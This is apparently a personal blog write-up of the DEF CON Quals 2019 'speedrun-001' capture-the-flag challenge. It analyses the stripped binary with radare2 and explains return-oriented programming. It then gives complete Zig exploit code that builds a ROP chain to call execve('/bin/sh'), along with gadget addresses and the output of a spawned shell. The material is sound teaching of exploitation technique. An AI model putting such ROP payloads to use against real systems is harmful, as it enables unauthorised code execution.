|---------------------------------------------------------------------------|
|-------------------------Exploit development with zig----------------------|
|-------------------------------and nightmare-------------------------------|
|---------------------------------------------------------------------------|
4 May 2021
--[Table of content
1. Module 07-bof_static DCQuals'19 Speedrun 1
2. Return Oriented Programming
3. Completing the challenge
4. Code
Challenge 1- Csaw17 pilot
----------------------------------------------------------------------
Lets begin with the routine and analyze the binary and check what mitigations it has
❯ file speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),
statically linked, for GNU/Linux 3.2.0,
BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
❯ pwn checksec speedrun-001
[*] '/home/void/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
O..kay, it has one mitigation, NX. Soo what is NX?
It means that the Stack is non executable, trying to execute stuff from that will result
in a crash. Thats gonna make this challenge difficult.
Okay what the hell, the binary is stripped! cmon!!! It just got 10 times difficult. This
means that you dont know what main function is, what any function means.
Lets run this and see whats going on
❯ ./speedrun-001
Hello brave new challenger
Any last words?
[1] 8591 alarm ./speedrun-001
❯ ./speedrun-001
Hello brave new challenger
Any last words?
hello
This will be the last thing that you say: hello
Alas, you had no luck today.
Soo this is something i saw by accident. I was on discord spending some time with
my friend and playing songs. I ran this program and then she changed the song,
soo i asked her why and talking about it.I had ran this program and i forgot about it.
After some time when i returned to work i saw this alarm signal. It dies if it does not
recieve any input for some time.
Rest is just it receiving input, printing it and dying.
Now its time for radare..
[0x00400a30]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[Invalid address from 0x004010d2
Invalid address from 0x00401253
Invalid address from 0x00401a2c
.
.
.
.
Invalid address from 0x0048fe65
Invalid address from 0x0048ff24
Invalid address from 0x004900f0
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400a30]> s main #lets hope that there is a main function
[0x00400bc1]> pdg #hell yeah!!
// WARNING: Variable defined which should be unmapped: var_4h
// WARNING: [r2ghidra] Failed to match type int for variable argc to Decompiler type: Unknown type identifier int
undefined8 main(undefined8 argc, char **argv)
{
int64_t iVar1;
int64_t var_10h;
int64_t var_4h;
fcn.00410590(*(int64_t *)0x6b97a0, 0, 2, 0);
iVar1 = fcn.0040e790((int64_t)"DEBUG");
if (iVar1 == 0) {
fcn.00449040(5);
}
fcn.00400b4d();
fcn.00400b60();
fcn.00400bae();
return 0;
}
[0x00400bc1]>
Yayyy no symbols!! Lets just s every function that main calls and print it.
[0x00492528]> s main
[0x00400bc1]> pdg
// WARNING: Variable defined which should be unmapped: var_4h
// WARNING: [r2ghidra] Failed to match type int for variable argc to Decompiler type: Unknown type identifier int
undefined8 main(undefined8 argc, char **argv)
{
int64_t iVar1;
int64_t var_10h;
int64_t var_4h;
fcn.00410590(*(int64_t *)0x6b97a0, 0, 2, 0);
iVar1 = fcn.0040e790((int64_t)"DEBUG");
if (iVar1 == 0) {
fcn.00449040(5);
}
fcn.00400b4d();
fcn.00400b60();
fcn.00400bae();
return 0;
}
[0x00400bc1]> s fcn.00400b4d; pdg;s main
void fcn.00400b4d(void)
{
fcn.00410390((int64_t)"Hello brave new challenger");
return;
}
[0x00400bc1]> s fcn.00400b60; pdg;s main
// WARNING: [r2ghidra] Var arg_e0h is stack pointer based, which is not supported for decompilation.
void fcn.00400b60(undefined8 param_1, int64_t param_2, int64_t param_3, int64_t param_4, int64_t param_5,
undefined8 param_6, undefined8 param_7, undefined8 param_8)
{
int64_t in_RCX;
int64_t arg3;
int64_t in_R8;
int64_t in_R9;
int64_t arg7;
int64_t var_400h;
fcn.00410390((int64_t)"Any last words?");
arg7 = fcn.004498a0(0, (int64_t)&var_400h, 2000);
fcn.0040f710(arg7, param_2, param_3, param_4, param_5, param_6, param_7, param_8,
(int64_t)"This will be the last thing that you say: %s\n", (int64_t)&var_400h, arg3, in_RCX, in_R8,
in_R9);
return;
}
in the last function,we have a variable of size 0x400, thats the input the program takes.
There is one more function that looks interesting,
fcn.004498a0,
lets look at it.
[0x00400bc1]> s fcn.004498a0; pdg;s main
// WARNING: Removing unreachable block (ram,0x00449910)
// WARNING: Removing unreachable block (ram,0x00449924)
undefined8 fcn.004498a0(int64_t arg1, int64_t arg2, int64_t arg3)
{
uint32_t uVar1;
if (*(int32_t *)0x6bc80c == 0) {
syscall();
return 0;
}
uVar1 = fcn.0044be40();
syscall();
fcn.0044bea0((uint64_t)uVar1);
return 0;
}
It takes 2000 bytes of input. Okay, okay i think we know what to do. But the stack is
non executable.Lets see how we can bypass that.
Return Oriented Programming
----------------------------------------------------------------------
There is one solution to this problem, Return Oriented Programming. The idea is really
simple, instead of using shellcode to do something, we use stuff in the program to do things
for us. This is done by push addresses of different code parts of a program which end with a ret
on the stack and then returning to them. This diagram might help
+----------------------------------+
| |
| |
| |
| |
| |
| |
| |
| |
| |
| PADDING |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
+----------------------------------+
| |
| ESP RETURN ADDRESS | [OVERWRITTEN WITH GARBAGE]
| |
+----------------------------------+
| |
| RET ADDRESS | [return to something like xor eax,eax; ret]
| |
+----------------------------------+
| |
| RET ADDRESS 2 | [return to something like xor ebx,ebx; ret]
| |
+----------------------------------+
| |
| RET ADDRESS 3 | [return to something else that ends with ret]
| |
+----------------------------------+
| |
| RET ADDRESS 4 | [something like syscall;ret maybe]
| |
+----------------------------------+
I wonder what on earth was going in that person's head when they discovered this.
Completing the challenge
----------------------------------------------------------------------
Okay, okay, we know what to do, we need to overwrite 0x408 bytes [padding+rsp].
Lets now see what we need to do, we need to run execve("/bin/sh"); Lets look at
how to do this using a syscall. Here is a list of all the syscalls [
link].
Soo we are gonna do something like this:
Write "/bin/sh\x00" somewhere
Write 0x3b to rax
Write 0x00 to rsi and rdx [because we dont care about env variables and stuff].
Syscall and hope it works.
We need a place to write that string, lets look around and see what we can find.
[0x00400a30]> dm
0x0000000000400000 - 0x00000000004b6000 * usr 728K s r-x /home/void/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 /home/void/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 ; map._home_void_nightmare_modules_07_bof_static_dcquals19_speedrun1_speedrun_001.r_x
0x00000000006b6000 - 0x00000000006bc000 - usr 24K s rw- /home/void/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 /home/void/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 ; map._home_void_nightmare_modules_07_bof_static_dcquals19_speedrun1_speedrun_001.rw_
0x00000000006bc000 - 0x00000000006bd000 - usr 4K s rw- unk0 unk0 ; map.unk0.rw_
0x00007ffdf3732000 - 0x00007ffdf3753000 - usr 132K s rw- [stack] [stack] ; map._stack_.rw_
0x00007ffdf3777000 - 0x00007ffdf377b000 - usr 16K s r-- [vvar] [vvar] ; map._vvar_.r__
0x00007ffdf377b000 - 0x00007ffdf377d000 - usr 8K s r-x [vdso] [vdso] ; map._vdso_.r_x
[0x00400a30]> x/100x 0x00000000006b6000
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x006b6000 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x006b6010 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x006b6020 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x006b6030 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x006b6040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x006b6050 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x006b6060 0000 0000 ....
[0x00400a30]>
This place looks really good, there isnt much here soo we can overwrite it.
Now we need to find a way to to easily find addresses that we can use. There is
a tool called ROPgadget for it
Lets find stuff
Rax:
❯ ROPgadget --binary speedrun-001 | grep "pop rax ; ret"
0x0000000000415662 : add ch, al ; pop rax ; ret
0x0000000000415661 : cli ; add ch, al ; pop rax ; ret
0x00000000004a9321 : in al, 0x4c ; pop rax ; retf
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22
0x00000000004a9323 : pop rax ; retf
0x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
Rdi:
❯ ROPgadget --binary speedrun-001 | grep "pop rdi ; ret"
0x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret
0x000000000042378b : fsubp st(0) ; pop rdi ; ret
0x0000000000400686 : pop rdi ; ret
Rsi:
❯ ROPgadget --binary speedrun-001 | grep "pop rsi ; ret"
0x000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret
0x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004101f3 : pop rsi ; ret
Rdx:
❯ ROPgadget --binary speedrun-001 | grep "pop rdx ; ret"
0x00000000004a8881 : js 0x4a88fe ; pop rdx ; retf
0x00000000004498b5 : pop rdx ; ret
0x000000000045fe71 : pop rdx ; retf
Writing stuff to 0x6b6000:
Im not showing this, there is just too much to show, we are using the one
on addr 0x48d251.
❯ ROPgadget --binary speedrun-001 | grep "mov qword ptr" | grep "48d251"
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
Okay, we now have all the addresses and now lets plan the stack
+-----------------------------------+
| |
| |
| |
| |
| PADDING 0x400 |
| |
| |
| |
| |
+-----------------------------------+
| |
| RSP [JUST OVERWRITE] |
| |
+-----------------------------------+
| |
| RET TO POP_RDX |
| |
+-----------------------------------+
| |
| "/bin/sh\x00" |
| |
+-----------------------------------+
| |
| RET TO POP_RAX |
| |
+-----------------------------------+
| |
| 0x6B6000 |
| |
+-----------------------------------+
| |
| RET TO WRITE_GADGET |
| |
+-----------------------------------+
| |
| RET TO POP_RAX |
| |
+-----------------------------------+
| |
| 0X3B |
| |
+-----------------------------------+
| |
| RET TO POP_RDI |
| |
+-----------------------------------+
| |
| 0x6B6000 |
| |
+-----------------------------------+
| |
| RET TO POP_RSI |
| |
+-----------------------------------+
| |
| \x00\x00\x00\x00\x00\x00\x00\x00 | [i will explain why there are 8 null bytes]
| |
+-----------------------------------+
| |
| RET TO POP_RDX |
| |
+-----------------------------------+
| |
| \x00\x00\x00\x00\x00\x00\x00\x00 |
| |
+-----------------------------------+
| |
| SYSCALL |
| |
+-----------------------------------+
Soo i was trying to get this exploit working and my dumb ass forgot
that i need to write null byte as 64 bit value instead of just writing
"\x00". I wasted 5 days on this.
Lets see the code in working
❯ (./hello;cat)|./speedrun-001
Hello brave new challenger
Any last words?
This will be the last thing that you say: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000��D
ls
a exploit.py hell hello.zig pipes.zig shit speedrun-001 ssw~ ssy~ zig-cache
b filed hello packing.zig readme.md shit.zig sss ssx~ ssz~
whoami
void
abc
[1] 26570 broken pipe ( ./hello; cat; ) |
26571 alarm ./speedrun-001
Unfortunately it crashes after some time (probably due to stack alignment or something),
but it works.
Here is the code
Code
----------------------------------------------------------------------
Exploit Code:
const std = @import("std");
const pack = @import("./packing.zig");
const pipe = @import("./pipes.zig");
pub fn main() anyerror!void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
var arena = std.heap.ArenaAllocator.init(&gpa.allocator);
var alloc = &arena.allocator;
defer arena.deinit();
//var proc = try pipe.openLocal(&[_][]const u8{"./speedrun-001"}, alloc);
//defer _ = proc.deinit();
//try proc.spawn();
//defer _ = proc.kill() catch {};
var popRax: [8]u8 = undefined;
var popRdi: [8]u8 = undefined;
var popRsi: [8]u8 = undefined;
var popRdx: [8]u8 = undefined;
var writeGadget: [8]u8 = undefined;
var syscall: [8]u8 = undefined;
pack.padding(u64, popRdi[0..], 0x400686, std.builtin.Endian.Little);
pack.padding(u64, popRsi[0..], 0x4101f3, std.builtin.Endian.Little);
pack.padding(u64, popRdx[0..], 0x4498b5, std.builtin.Endian.Little);
pack.padding(u64, popRax[0..], 0x415664, std.builtin.Endian.Little);
pack.padding(u64, writeGadget[0..], 0x48d251, std.builtin.Endian.Little);
pack.padding(u64, syscall[0..], 0x40129c, std.builtin.Endian.Little);
//std.mem.writeIntLittle(u64, &syscall, 0x);
var rop = std.ArrayList(u8).init(alloc);
try rop.appendSlice(popRdx[0..]);
try rop.appendSlice("/bin/sh\x00");
try rop.appendSlice(popRax[0..]);
var frick = @bitCast([8]u8, @as(u64, 0x6b6000));
try rop.appendSlice(frick[0..]);
try rop.appendSlice(writeGadget[0..]);
try rop.appendSlice(popRax[0..]);
frick = @bitCast([8]u8, @as(u64, 0x3b));
try rop.appendSlice(frick[0..]);
try rop.appendSlice(popRdi[0..]);
frick = @bitCast([8]u8, @as(u64, 0x6b6000));
try rop.appendSlice(frick[0..]);
try rop.appendSlice(popRsi[0..]);
try rop.appendSlice("\x00\x00\x00\x00\x00\x00\x00\x00");
try rop.appendSlice(popRdx[0..]);
try rop.appendSlice("\x00\x00\x00\x00\x00\x00\x00\x00");
try rop.appendSlice(syscall[0..]);
var payload = std.ArrayList(u8).init(alloc);
//try rop.append(0);
try payload.appendNTimes('0', 0x408);
try payload.appendSlice(rop.items);
try std.io.getStdOut().writer().print("{s}\n", .{payload.items});
//try std.io.getStdOut().writer().print("\n{}\n", .{std.fmt.fmtSliceHexLower(payload.items)});
//proc.stdout_behavior = .Inherit;
//proc.stderr_behavior = .Inherit;
// try pipe.LocalSendline(proc, payload.items[0..]);
// try proc.stdin.?.writer().print("{s}\n", .{payload.items[0..]});
// try pipe.interactive(proc, alloc, '\n', 9000000000);
}
I was not able to get it working with pipes soo unfortunately we have to run
it using
(./hello;cat)|./speedrun-001
The code for the library is available in the gitlab repository
pwn